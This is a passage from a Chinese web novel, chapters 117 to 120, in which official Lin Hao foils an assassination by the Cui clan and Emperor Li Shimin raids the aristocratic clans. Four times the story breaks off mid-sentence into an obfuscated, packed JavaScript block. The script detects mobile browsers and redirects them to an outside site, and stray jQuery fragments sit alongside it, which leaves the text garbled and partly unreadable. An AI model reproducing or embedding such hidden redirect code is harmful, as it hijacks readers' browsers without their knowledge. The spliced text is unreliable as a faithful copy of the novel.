“咔哒!”
一声微不可闻的机括脆响!
“咻咻咻咻!”
官署的四壁之上,突然弹开数十个黑漆漆的小孔!
密如飞蝗的铁钉,带着尖锐的破空声,朝着扑进来的刺客们爆射而去!
这是林浩早就布置下的保命手段!
他知道自己得罪的人太多,怎么可能不留后手!
“噗!噗!噗!”
冲在最前面的几个刺客根本来不及反应,瞬间被铁钉射成了刺猬!
虽然铁钉力道不足以致命,但那钻心的疼痛,却让他们的动作猛地一滞。
就是这一滞,给了林浩宝贵的时间!
“有刺客!!”
林浩发出一声惊**吼,同时整个人已经从书案后翻滚而出,顺手从桌案下的一个暗格里,抽出了一把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391684|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早已上好弦的精巧**!
“嗖!”
**箭离弦!
一名刚避开铁钉雨,正要再次扑上的刺客,喉咙处猛地爆开一团血花,他捂着脖子,难以置信地瞪大了眼睛,直挺挺地倒了下去。
这一切,都发生在电光石火之间!
官署外的墨顿,听到那声巨响和老师的怒吼,脸色瞬间煞白!
“不好!有刺客!快!保护老师!”
他想也不想,拔出腰间的佩刀就要冲进书房。
可他刚一动,几道黑影就从院墙的阴影里闪出,冰冷的刀锋,直接拦住了他的去路!
墨顿的示警声,也引来了少府监内仅剩的几名护卫。
但他们还没冲到院子,就被另一波早已埋伏好的死士,干净利落地抹了脖子。
鲜血,染红了月下的青石板。
书房内,林浩的处境急转直下!
他一**射杀一人后,再也没有上弦的机会。
剩下的刺客已经从最初的震惊中反应过来,他们不愧是崔家豢养的死士,眼中没有恐惧,只有更加冰冷的杀意!
“杀了他!”
刺客头领发出一声嘶哑的低喝。
林浩边打边退,随手抄起一把沉重的太师椅,狠狠砸向冲在最前的人,又抓起桌上的砚台、笔筒,任何能当做武器的东西,都成了他拖延时间的工具。
但对方人太多了!
而且个个都是**好手!
一把椅子,只能阻挡他们一瞬。
很快,林浩就被逼到了墙角,退无可退!
刺客头领看着狼狈不堪的林浩,眼中闪过一丝残忍的快意。
他没想到,这个看似手无缚鸡之力的文官,竟然如此扎手,不仅反杀一人,还伤了好几个弟兄。
“别跟他耗了!速战速决!”
刺客头领下达了最后的命令,“杀了他!然后放火!”
一名刺客已经从怀里掏出了火折子和油布,准备随时将这里付之一炬。
冰冷的刀锋,从三个方向同时刺向林浩的要害!
完了!
这一次,真的要交代在这里了?
就在那三柄短刀即将刺入身体的瞬间,被逼到绝境的林浩,眼中却闪过一抹决然!
他的后背,紧紧贴着身后的巨大书架。
在所有人都没注意到的情况下,他的右手猛地向后一按,狠狠地砸在了书架上一处毫不起眼的猛虎下山浮雕之上!
“咔!”
浮雕应手而沉!
整个书房,没有任何变化。
刺客的刀,依旧带着死亡的气息,直刺而来。
刀尖,距离林浩的咽喉,已不足三寸!
第117章:刺杀失败,是时候算总账了!
刀尖距离林浩的咽喉,只有三寸!
冰冷的锋芒几乎贴上了皮肤,林浩能清楚感受到死神的呼吸。
就在这要命的关头,他按在书架浮雕上的手,终于等来了回应。
“咻——!”
一声尖锐的破空声从窗外射入!
一道乌光快过闪电,精准钉在了刺客的后心!
“噗!”
刀尖在距离林浩脖子一寸的地方停住了。
刺客身体一僵,低头看着穿胸而出的箭簇,眼中神采快速黯淡下去。
“轰隆!”
破碎的窗户被一股巨力彻底撞烂,一道魁梧身影裹挟着煞气冲了进来!
金吾卫中郎将李君羡!
他手中百炼横刀划出凄厉弧光,没有废话,刀锋直接卷向最近的刺客!
“当!”
刺客仓促格挡,一股巨力从刀身传来,虎口崩裂,短刀脱手飞出。
李君羡的刀锋已经抹过了他的脖子。
血线绽放!
几乎同时,官署门口、墙头、各个角落涌入了数十名玄甲金吾卫!
“一个不留!”
李君羡的怒吼在院中炸响。
崔家死士瞬间陷入包围绞杀!
局势在三个呼吸间彻底逆转!
这些死士虽然悍不畏死,但面对装备精良、战力超群的金吾卫精锐,抵抗显得苍白无力。
刀光剑影,血肉横飞!
林浩连滚带爬躲到李君羡身后,剧烈喘息着,后背早被冷汗湿透。
他不是武将,刚才那番生死搏斗已经耗尽了所有力气。
但他的大脑在极度惊魂未定中飞速运转。
林浩死死盯着那些被砍倒的死士,不放过任何细节。
突然,一名死士被金吾卫劈翻时,衣领扯开,露出脖颈侧后方的皮肤。
那上面有个青黑色纹身!
纹身图案极为古怪,既像山又像云,组合在一起透着诡异。
林浩心猛地一沉,将这图案死死记在脑子里!
战场中央,死士头领眼见大势已去,眼中闪过决绝的疯狂。
“撤!烧了这里!”
他发出嘶哑咆哮。
剩下几名死士立刻放弃抵抗,从怀中掏出油布和火折子,不顾一切扔向四周书架和堆积的文件!
“不好!”
林浩魂都快吓飞了!
那些可是他全部心血!宝钞防伪图样、发行细则、还有刚完善的凉州海盐增产方案!
要是被烧了,比杀了他还难受!
“别让他们放火!快拦住!”
林浩声嘶力竭大喊。
李君羡脸色一变,瞬间明白了那些东西的重要性。
“灭火!先灭火!”
一部分金吾卫立刻放弃追杀,扑向燃起的火苗,用身体、刀鞘、一切能用的东西扑打火焰。
场面变得更加混乱!
死士头领趁着金吾卫分神救火的瞬间,没选择逃跑,而是发出野兽般嘶吼,双眼赤红,提着刀笔直冲向林浩!
他今晚的目标从始至终只有一个!
杀林浩!
就算任务失败,也要拉着目标同归于尽!
他速度快到极致,用**式打法硬生生撕开金吾卫防线!
“林大人小心!”
李君羡大惊,但距离太远,根本来不及救援!
眼看短匕就要刺入林浩心脏,突然间,林浩身后书架发出“咔咔”机械声。
一面厚重铁板从书架后升起,挡在了林浩面前!
“当!”
短匕刺在铁板上,火星四溅!
死士头目愣住了。
这是什么鬼东西?
林浩松了口气,这是他早就设计好的最后保命手段。
书架后面藏着一套精巧机关,一旦触发,就会升起这面能挡住刀剑的铁板。
“你以为就你会玩阴的?”
林浩冷笑一声,从铁板侧面缝隙里突然伸出一把短**,对准了死士头目的脑袋!
“嗖!”
**箭离弦!
死士头目瞪大眼睛,额头正中出现血洞,直挺挺倒了下去。
李君羡赶过来,看着这套精巧机关,啧啧称奇。
“林大人,您这手段,真让**开眼界啊!”
林浩摆摆手:
“小心驶得万年船,我得罪的人太多,不留点后手怎么行。”
随着头领被斩杀,剩下几名死士也很快被制服。
有两人见逃生无望,毫不犹豫咬碎了藏在牙齿里的毒囊,口吐黑血,当场毙命。
“留活口!一定要有活口!”
林浩喘着粗气对金吾卫大喊。
最终,金吾卫当场格杀八人,两人自尽,只抓住了三个被重伤打晕的活口。
整个少府监官署变成了一片狼藉。
地上横七竖八躺着尸体,血水混着灭火的水,将地面染得污浊,空气中弥漫着浓重血腥味和焦糊味。
好在火势扑灭及时,大部分文件保住了,只有角落里一些普通卷宗被烧毁。
林浩不顾一切冲到书案前,看到几份最重要图纸只是边缘被燎了一下,这才长长松了口气,整个人虚脱般瘫坐在椅子上。
他走到一名被捆得结结实实的昏迷死士旁,蹲下身,一把扯开对方衣领。
脖颈处,那个诡异的“山云”纹身清晰可见。
世家!
绝对是世家干的!
除了他们,没人有这个动机,也没人有这个能力,豢养出如此精锐且悍不畏死的死士!
可是,光凭一个纹身,根本无法将罪名直接扣在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391685|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五姓七望任何一家头上。
李君羡擦拭着刀上血迹,走到林浩身边:
“林监卿,你没事吧?”
“我没事。多谢李将军及时赶到。”
林浩摇摇头。
“职责所在。城西的斗殴和城南的大火,都是障眼法。我发现不对劲,立刻带亲卫赶了回来,幸好还来得及。”
李君羡表情凝重。
林浩点点头,心中一阵后怕。
对方的计划环环相扣,狠辣至极!
若不是李君羡心思缜密,看穿了调虎离山之计,今晚自己恐怕真要交代在这里了。
李君羡看着满地狼藉,继续汇报:
“城里的乱子已经控制住了,抓到的人犯,都是些收了钱的地痞流氓。不过林大人,您今晚差点出事,我觉得应该加强护卫力量。”
“这倒是应该的。不过最重要的是,要让所有人都知道,我林浩还活着,而且活得好好的!”
林浩站起身。
“李将军,麻烦你派人去通知各个宝钞指定商号,明天照常营业。另外,再放出消息,就说有不法之徒企图刺杀朝廷命官,已被当场击毙。”
李君羡明白了林浩的意思:
“您是要告诉世家,他们的刺杀失败了?”
“不仅如此。”
林浩转过身,脸上露出意味深长的笑容:
“我还要让他们知道,既然他们先动手了,那接下来的游戏规则,就由我来定了。”
“李将军,把这几个人送到大理寺去,让他们好好审问。另外,派人去监视清河崔氏、范阳卢氏、荥阳郑氏这几家的动向。他们既然敢动手,就要做好承担后果的准备。”
李君羡领命而去。
林浩独自站在被火烧得狼藉的书房里,脸上笑容逐渐消失。
世家以为一次刺杀就能解决问题?
太天真了。
他们不知道的是,这次刺杀反而给了林浩一个绝佳机会。
一个彻底清算的机会。
天色完全亮了,长安城又恢复了往日喧嚣。
但在崔氏府邸的密室里,气氛却压抑到了极点。
“失败了?”
崔仁师看着跪在地上浑身是血的手下。
“废物!这么多人,连一个手无缚鸡之力的文官都杀不了!”
他在密室里来回踱步,脸色阴晴不定。
刺杀失败,意味着他们不仅没解决问题,反而彻底激怒了林浩。
更要命的是,现在林浩手里有了他们的把柄!
那几个被活捉的死士,一旦开口……
就在这时,门外传来急促的脚步声。
一名管事匆忙跑了进来。
"家主!大事不好了!"
"金吾卫把咱们府邸给围了!"
第118章:金吾卫堵门,林浩的反击
轰!
听到宅府被围,崔仁师脑子里炸开一片空白,整个人晃了晃,差点没站稳。
围了?
金吾卫?
刺杀失败的消息才刚传回来。
林浩的反击,竟然来得这么快,这么狠!
“慌什么!”
崔仁师强行压下心头的巨浪,对着管事怒吼。
“来了多少人?”
“不知道……黑压压的一片,把所有出口都堵**!水泄不通!”
“府里的人呢?”
“全都吓傻了!护院们拿着刀,可……可对面是金吾卫啊!谁敢动!”
崔仁师胸口剧烈起伏,额角青筋一根根爆起。
他快步走出密室,府内的景象让他心头一沉。
下人们抱头鼠窜,哭喊声,尖叫声,乱成一锅粥。
往日里威严气派的府邸,此刻像是末日降临。
他冲到大门后,透过门缝向外看去。
火把的光亮将街道照得如同白昼。
一排排身披玄甲的金吾卫,手持横刀与盾牌,组成一道密不透风的钢铁人墙。
盔甲在火光下反射着冰冷的寒意。
马蹄踏地的沉重声响,一下下,重重敲在崔仁师的心口上。
完了。
这是铁了心要把他清河崔氏钉死在这里!
“去!”
崔仁师一把抓住身边的管事,声音嘶哑。
“去问问他们!领头的是谁!凭什么包围我崔氏府邸!”
“告诉他!我乃朝廷命官,清河崔氏家主!他们这是要**吗!”
管事哆哆嗦嗦地领命而去,可没过一会儿,就脸色煞白地跑了回来。
“家主……他们……他们不让靠近!”
“我刚走到门口,几十把**箭就对准了我!”
“领头的那个校尉说,他们奉少府监林大人之命,在此地看管要犯!任何人不得出入,违令者,格杀勿论!”
少府监林大人!
格杀勿论!
崔仁师只觉得天旋地转,扶着门框才没有倒下。
对方连个由头都懒得找了,直接把“要犯”的帽子扣了上来!
这哪里是包围,这分明是把他当成了笼子里的畜生!
几乎就在崔氏府邸被围死的同时。
城西和城南的骚乱,也被迅速平息。
那些被雇来**的地痞流氓,被金吾卫打得哭爹喊娘,抓了一长串。
调虎离山之计,彻彻底底地失败了。
……
少府监官署。
和崔府的鸡飞狗跳不同,这里虽然一片狼藉,却井然有序。
林浩面无表情地指挥着金吾卫。
“把所有尸体都抬出去,登记在册。”
“地上的血迹,烧毁的卷宗,任何一个碎片都不要放过,全部收集起来!”
“这里,就是他们行刺的铁证!”
他的声音不大,却带着一股不容置疑的冷静。
李君羡看着这个刚刚在鬼门关走了一遭的年轻人,心中佩服不已。
换做任何一个人,此刻恐怕都早已吓得六神无主了。
可林浩,非但没有半点恐惧,反而像一头嗅到血腥味的饿狼,双眼放光,冷静地处理着所有“战利品”。
“把那三个活口带过来!”
林浩的目光,落在了那三个被捆成粽子,昏死过去的刺客身上。
很快,一桶冰冷的井水从头浇下。
三个死士一个激灵,悠悠转醒。
当他们看清周围的环境和林浩那张带着冷笑的脸时,瞳孔猛地一缩。
“醒了?”
林浩搬了把椅子,坐到他们面前。
“说说吧,谁派你们来的?”
三人嘴唇紧闭,眼神凶狠,一副宁死不屈的模样。
“不说是吧?行,有骨气。”
林浩点点头,对旁边的李君羡说道。
“李将军,让人把他们三个的衣领都给我扒开。”
金吾卫上前,粗暴地扯开三人的衣领。
那个诡异的“山云”纹身,赫然暴露在火光之下。
林浩的手指,在自己的脖颈处比划了一下。
“清河崔氏,西山别院养的死士,对吧?”
他慢悠悠地开口,声音不大,却让三个死士的身体同时一震!
“你们的训练教官,是不是一个叫崔平的独眼龙?”
“他最喜欢用滚烫的烙铁,在训练不合格的人背上留下印记。”
“你们的家小,是不是都被安置在博陵郡的一个庄子里,美其名曰‘奉养’,实则就是人质?”
林浩每说一句,三个死士的脸色就苍白一分。
他们眼中的凶狠渐渐褪去,取而代之的是无尽的震惊与恐惧。
这些,都是崔家最核心的机密!
这个林浩,怎么会知道得一清二楚!
“你们以为,你们**,你们的家人就能得到善待?”
林浩嗤笑一声,身体前倾,声音充满了蛊惑。
“别天真了。”
“你们的主子,现在自身难保。”
“他派你们来,就没想过让你们活着回去。”
“你们**,一了百了。你们的家人,对他们来说,就是随时可以丢弃的累赘。”
“甚至为了封口,他们会是第一个对你们家人动手的。”
这番话,如同一把重锤,狠狠砸在三人的心防之上。
其中一个年纪最轻的死士,眼神开始剧烈晃动,呼吸也变得急促起来。
林浩捕捉到了这个细节。
“现在,我给你们一个机会。”
“说出主谋,我可以向陛下求情,保你们一条活路,甚至,可以把你们的家人从那个地狱里解救出来。”
“想想你们的爹娘,想想你们的妻儿!”
“是为了一群随时会抛弃你们的主子**,还是为自己的家人活下去,你们自己选!”
“我……”
那个年轻的死士终于扛不住了,心理防线彻底崩溃。
他张了张嘴,刚要说话。
旁边一名死士突然眼中凶光一闪,猛地用头撞向他!
“噗!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391686|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>李君羡眼疾手快,一刀柄砸在那人后颈,直接将其砸晕过去。
但还是晚了一步。
年轻死士的嘴里涌出黑血,身体抽搐了几下,便没了动静。
他竟然在开口前,咬碎了藏在舌根下的毒囊!
林浩的脸色瞬间阴沉下来。
他看向仅剩的那个还有意识的死士。
“看到了吗?这就是你们的同伴,这就是你们主子的手段。”
“你说了,是死。”
“你不说,也是死。”
“但你说了,你的家人,能活。”
那名死士看着同伴的尸体,身体抖得如同筛糠。
许久,他绝望地闭上了眼睛,声音嘶哑。
“我说……我全说……”
“我们……我们是……清河崔氏……旁支豢养的……死士……”
“纹身……是……是崔家武奴的标记……”
“这次行动……是……是家主……亲自下的令……”
半刻钟后,林浩接过供词,一目十行地看完。
“笔墨伺候!”
他亲自提笔,将昨夜**的全部经过,以及刚刚得到的审讯结果,一字不漏地写成了一份奏折。
“李将军!”
林浩将封好的奏折递给匆匆赶回的李君羡。
“立刻!马上!亲自将这份奏折送到陛下手中!”
“不要经过任何中书省的官员,直接送进甘露殿!”
“快!”
他要的,就是不给世家任何反应和斡旋的时间!
“明白!”
李君羡接过奏折,揣进怀里,翻身上马,带着几名亲卫,如同一阵旋风,直奔皇宫而去。
……
崔氏府邸。
崔仁师在书房里来回踱步,府外金吾卫的铁甲寒光,让他心惊肉跳。
一个管事再次冲了进来,脸上带着死灰。
“家主!不好了!宫里……宫里传来消息……”
“我们派出去的人……有活口落在了林浩手里!”
“现在……人已经被送到大理寺了!”
“哐当!”
崔仁师一脚踢翻了身边的香炉,铜炉滚落在地,香灰撒了一地。
活口!
他最担心的事情,还是发生了!
那些死士知道的太多了!
一旦他们开口……
崔仁师不敢再想下去,他只觉得一股寒气从脚底板直冲天灵盖。
就在此时,府外传来一阵骚动。
“让我们进去!我们要见崔家主!”
是范阳卢氏的家主卢承庆,和荥阳郑氏的家主郑敬德。
他们听闻崔府被围,急匆匆地赶了过来,却被金吾卫的长刀死死拦在了门外。
“奉旨办案!再敢喧哗,一并拿下!”
卢承庆和郑敬德看着那一张张毫无表情的脸,再看看崔府那紧闭的大门,一颗心沉到了谷底。
书房里,崔仁师听着外面昔日盟友的叫骂,脸上最后一丝血色也褪尽了。
他知道,一切都完了。
长安城,彻底变天了。
第119章:李二:给朕抄家,一个不留
甘露殿。
灯火将殿内照得宛如白昼。
李世民刚放下朱笔,正要起身舒展一下僵硬的腰背。
殿外,一阵杂乱又急促的脚步声打破了深夜的宁静,听着近乎失态。
“陛下!金吾卫大将军李君羡,有十万火急军情奏报!”
内侍尖锐的通传声未落,身披玄甲的李君羡已大步闯入殿中,甲叶碰撞,铿锵作响。
他甚至来不及整理风尘仆仆的仪容,单膝跪地,双手高高呈上一份奏折。
“何事如此惊惶?”李世民的眉头拧了起来。
“陛下!少府监林大人昨夜**!”李君羡急切地回道,“此乃林大人亲笔,托臣呈于陛下!”
“**”二字,如同一记重锤砸在李世民心头。
他脸色一变,霍然起身,一把从李君羡手中夺过奏折。
奏折展开,字迹凌厉,笔锋几乎要划破纸背。
从崔家如何调虎离山,死士如何潜入官署,再到林浩如何启动机关反杀,最后审出活口供词……
一桩桩,一件件,李世民越看,脸色越是阴沉,捏着奏折边缘的手,指节已然捏得发青。
当他看到那个熟悉的“山云”纹身,以及那份由活口画押,直指清河崔氏家主崔仁师的供词时,一股压抑不住的暴怒自胸腔轰然炸开!
“山云……”
李世民低声念出这两个字,声音里仿佛淬了冰。
他有印象!
数年前,河北道有几名巡查御史离奇失踪,生不见人,死不见尸,最终只在大理寺的卷宗里留下“山云”二字,成了悬案。
原来是他们!
这些盘踞在大唐身上吸血的毒瘤,这些自诩风骨的门阀,竟敢在背地里豢养死士,不只截杀天子御史,现在,更是把刀伸向了朝廷的肱股之臣!
“好!好一个清河崔氏!好一个五姓七望!”
李世民不怒反笑,笑声却让殿内的温度骤降。他猛地将奏折揉成一团,狠狠砸在御案之上!
“来人!传长孙无忌、房玄龄、杜如晦!立刻!马上!给朕滚过来!”
……
半个时辰后。
长孙无忌三人睡眼惺忪地赶到甘露殿,一进门,便被那股几乎凝成实质的杀气激得一个哆嗦,睡意全无。
李世民背对他们,一言不发。
大殿里,死一般的寂静。
“陛下……”长孙无忌壮着胆子,小心翼翼地开了口。
李世民猛然转身,抓起案上那团奏折,劈头盖脸地就朝长孙无忌砸了过去!
“自己看!”
“看看你们的好亲戚!看看你们平日里劝朕要安抚的世家门阀,都干了些什么好事!”
长孙无忌狼狈地接住纸团,匆匆展开一看,额角的冷汗当即就滚了下来。房玄龄和杜如晦凑过去,只扫了一眼,两人也是面色惨白。
刺杀朝廷二品大员!
这不是党争,这是谋逆!是要诛九族的大罪!
“都哑巴了?”李世民的声音像刀子,在三人脸上一一刮过,“当初劝朕要徐徐图之,要给他们体面的,不是你们吗?现在,他们都要在朕的头上动土了!你们还想让朕怎么忍!”
“陛下息怒!”
长孙无忌“噗通”一声跪倒在地,冷汗浸透了背心。
“臣……臣有罪!臣识人不明,请陛下降罪!”
他心里把崔仁师的祖宗十八代都骂了个遍。
蠢货!彻头彻尾的蠢货!经济战玩不过,就用这种最下作、最愚蠢的手段!这下好了,不是掀桌子,这是把所有人的棺材板都给刨了!
“降罪?朕要是降了你的罪,这大唐的天下,是不是就该姓崔了!”
李世民胸膛剧烈起伏,大步走到殿中,对着一个半人高的铜制熏炉,狠狠就是一脚!
“哐啷——”
熏炉翻滚出去,香灰撒了一地。
“传朕旨意!”
李世民的声音决绝而冰冷。
“命金吾卫、大理寺、刑部,三司会审!彻查少府监**一案!”
“命李君羡,即刻查封清河崔氏、范阳卢氏、荥阳郑氏三家府邸!所有核心族人,全部给朕拿下,打入天牢!”
“尤其是崔仁师那个老匹夫!给朕活捉!朕要亲自审他!”
“告诉他们,但有反抗,格杀勿论!”
“这一次,朕要让天下人都看看,动我大唐的国之栋梁,是个什么下场!”
“给朕抄!一个不留!”
“臣……遵旨!”
李君羡只觉得浑身血液都在沸腾,领了圣旨,转身大步离去。
他知道,今夜过后,长安城的天,要彻底变了!
……
天色微亮。
“轰隆!”
一声巨响,清河崔氏那扇象征着百年荣耀的朱漆大门,被粗壮的攻城木直接撞得四分五裂!
“奉陛下旨意!查封崔府!所有人等,就地跪下,胆敢反抗者,杀无赦!”
李君羡手持天子剑,一马当先,身后是杀气腾腾的金吾卫。
府内顿时哭喊震天。
那些平日里仗势欺人的护院家丁,在真正的国家暴力机器面前,腿肚子抖得像筛糠,手里的刀剑“哐啷啷”掉了一地,连个屁都不敢放。
崔仁师被人从书房里拖了出来,头发散乱,官袍歪斜,哪还有半分世家之主的威仪。
“李君羡!你敢!我是朝廷命官!你不能……”
“啪!”
李君羡懒得与他废话,反手就是一个响亮的耳光。
“带走!”
与此同时,卢氏和郑氏的府邸,也上演着同样的一幕。
这惊天动地的动静,早就震动了整个长安城。
无数百姓从坊市里探出头来,看着一队队金吾卫冲进那些往日里高不可攀的府邸,把一个个平日里眼高于顶的大人物,像拖死狗一样拖出来。
“哎哟我的天,这是怎么了?这是要抄家啊?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391687|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你还不知道?听说了吗,崔家那帮畜生,派人去刺杀林大人了!就是那个给咱们弄来便宜盐的林大人!”
“什么?!这帮天杀的!林大人可是活菩萨,他们怎么敢的啊!”
“忘恩负义的东西!前几天还靠着林大人的购物券赚咱们的钱,转头就要**!真不是个东西!抄得好!”
百姓的怒火,在一瞬间被彻底点燃。
之前对世家的那点敬畏,顷刻间化为滔天的鄙夷和唾骂。
一辆简陋的囚车,载着失魂落魄的崔仁师,缓缓驶过长安街头。
当囚车经过东市那家“大唐宝钞指定商号”时,崔仁师的目光,彻底呆滞了。
商号门口,百姓们排着长龙,手里攥着他曾经嗤之以鼻的宝钞,脸上洋溢着他从未见过的笑容,兴高采烈地兑换着雪花盐和各种商品。
“快点快点!今天的猪肉又便宜了两文钱!用宝钞还能再打九折!”
“都多亏了林大人啊!要不是他,咱们哪有今天的好日子!”
那些他视若废纸的花花绿绿,此刻在百姓手中,比金子银子还要珍贵。
他输了。
输得一败涂地。
输掉了百年的声望,输掉了家族的未来,也输掉了身为门阀最后的尊严。
“噗——”
崔仁师喉头一甜,一口老血猛地喷在囚车的木栏上,随即脑袋一歪,彻底昏死过去。
不远处,刚刚赶到、被金吾卫拦下的卢承庆和郑敬德,眼睁睁看着崔仁师的囚车远去,再看看自家门口那明晃晃的长刀,双腿一软,瘫倒在地。
完了。
一切都完了。
……
少府监。
墨顿脚步匆匆地走进来,脸上是压抑不住的兴奋。
“大人!宫里传来消息,陛下雷霆震怒!下令三司会审,已经把崔、卢、郑三家全给抄了!崔仁师那老匹夫,被直接打入天牢了!”
林浩点点头,对此没有丝毫意外。
这一切,都在他的计算之中。
李二这位千古一帝,最恨的就是有人挑战他的皇权。
崔仁师这一刀,不是砍向他林浩,是砍向了皇权的根基。
“干得漂亮。”林浩淡淡地评价了一句。
他站起身,走到一排巨大的卷宗柜前。
“墨顿。”
“在!”
林浩从最顶层抽出一份厚厚的卷宗,扔给墨顿。
“把这份《五姓七望盐铁暴利考》,给大理寺和御史台,一人送一份过去。”
墨顿一愣,随即眼中爆发出炽热的光芒。
他明白了!
抄家,只是物理上的打击!
大人这一招,是要在天下人面前,把世家百年清誉的皮,一层层地扒下来,露出里面流脓的烂肉!
林浩看着窗外初升的朝阳,声音平静却带着一股寒意。
“陛下要抄家,咱们就递刀。”
“这把刀,要捅进所有人的心窝子里。”
第120章:当着百官的面,扒光世家的底裤
太极殿。
死一般的寂静。
文武百官垂首而立,连呼吸都刻意放轻,生怕惊扰了龙椅上那座即将喷发的火山。
李世民面沉如水,手里捏着那份从少府监送来的奏折。
奏折的边缘,还带着一丝焦黑和暗红的血迹。
他的目光缓缓扫过阶下众人,尤其是在几位世家大族的领头人身上,多停留了一瞬。
“诸位爱卿,昨夜,长安城很热闹啊。”
李世民开口了,声音不大,却透着一股彻骨的寒意。
百官心头一凛,头埋得更低了。
“清河崔氏家主崔仁师,豢养死士,刺杀朝廷命官,少府监林浩!”
“人证物证俱在,供词在此!”
“啪!”
李世民将奏折狠狠摔在龙案之上,发出一声巨响,震得所有人心里一哆嗦。
“朕想问问你们,这是想干什么?!”
“是想**吗?!”
轰!
整个朝堂瞬间炸开了锅。
刺杀朝廷命官!
还是崔氏家主亲自下的令!
这简直是疯了!
“陛下!冤枉啊!”
一名崔氏旁支的官员“噗通”一声跪倒在地,涕泪横流。
“崔家主一生忠君爱国,怎会做出如此大逆不道之事!”
“这其中必有误会!定是那林浩挟私报复,伪造证据,陷害忠良啊!”
他这一跪,立刻引起了连锁反应。
“陛下明鉴!范阳卢氏,愿为崔家主担保!”
“荥阳郑氏,也愿担保!”
“陛下,世家门阀乃国之基石,崔家主更是士族表率,万万不可听信小人谗言,自毁长城啊!”
十几名与五姓七望沾亲带故的官员,齐刷刷跪了一地,哭天抢地,场面一度十分感人。
他们口口声声说着崔仁师的“忠诚”,说着世家对大唐的“贡献”,仿佛崔仁师才是那个受了天大委屈的忠臣。
长孙无忌站在百官之首,眼观鼻,鼻观心,额头上却渗出了细密的冷汗。
他知道,自己不能再沉默了。
他硬着头皮出列,躬身道:“陛下,刺杀朝廷命官,罪不容诛。”
“但崔氏毕竟是百年大族,牵一发而动全身。”
“臣以为,此事应从长计议,不可操之过急,以免朝局动荡,人心不稳。”
他这话说的很巧妙,既承认了罪行,又把“稳定”这座大山搬了出来,劝李世民慎重。
“从长计议?”
李世民冷笑,笑声里充满了讥讽。
“人心不稳?”
“朕的朝廷命官,在自己的官署里,被几十个刺客围杀,差点就身首异处!”
“这个时候,你跟朕说,要从长计议?”
“长孙无忌!你是不是觉得,朕的刀,不利了?!”
长孙无忌浑身一颤,冷汗瞬间湿透了后背,立刻跪倒在地。
“臣,万死!”
李世民看都懒得再看他一眼,目光转向殿外。
“宣,少府监,林浩!”
片刻之后,林浩一身崭新的官袍,大步走入太极殿。
他的身后,跟着墨顿和几名少府监的令吏。
他们几人,抬着好几个沉重的木箱。
“砰!”
“砰!”
几个大箱子被重重放在大殿中央,发出沉闷的声响。
所有人的目光,都被吸引了过去。
林浩走到殿中,对着龙椅上的李世民躬身一拜。
“臣,林浩,参见陛下。”
“平身。”
李世民的语气缓和了许多。
“林浩,他们说你伪造证据,陷害崔仁师。”
“你怎么说?”
林浩直起身,环视了一圈跪在地上,对自己怒目而视的那些世家官员,嘴角勾起一抹冷冽的弧度。
“陛下,臣有没有陷害他,打开这些箱子,便一清二楚了。”
他走到一个箱子前,亲手打开了箱盖。
里面,是码放得整整齐齐的卷宗。
厚厚的一沓,又一沓。
“这些,是少府监与御史台,历年来积压的卷宗。”
林浩从中抽出一份,高高举起。
“贞观二年,山东大旱,朝廷开仓放粮。清河崔氏,却在当地以三倍的价格,倒卖官盐,致使民怨沸腾!”
他又抽出一份。
“贞观三年,江南洪涝,荥阳郑氏,垄断铁器,一把锄头,售价高达五百文!百姓无力购买农具,导致大量田地荒芜!”
“贞观四年,范阳卢氏,在运河私设关卡,向过往商船强征重税,连朝廷的漕运船只,都敢拦截!”
……
林浩每念一份卷宗,那些跪在地上的世家官员,脸色就苍白一分。
而朝堂上,那些出身寒门,或是凭军功上位的武将们,脸色则越来越愤怒。
拳头,一个一个地攥紧了。
“这些,还只是冰山一角!”
林浩将手里的卷宗扔回箱子里,看向墨顿。
“墨顿,上图!”
“是,老师!”
墨顿应声而出,与几名令吏一起,将一幅巨大无比的图纸,在大殿中央缓缓展开!
那是一幅大唐全舆图!
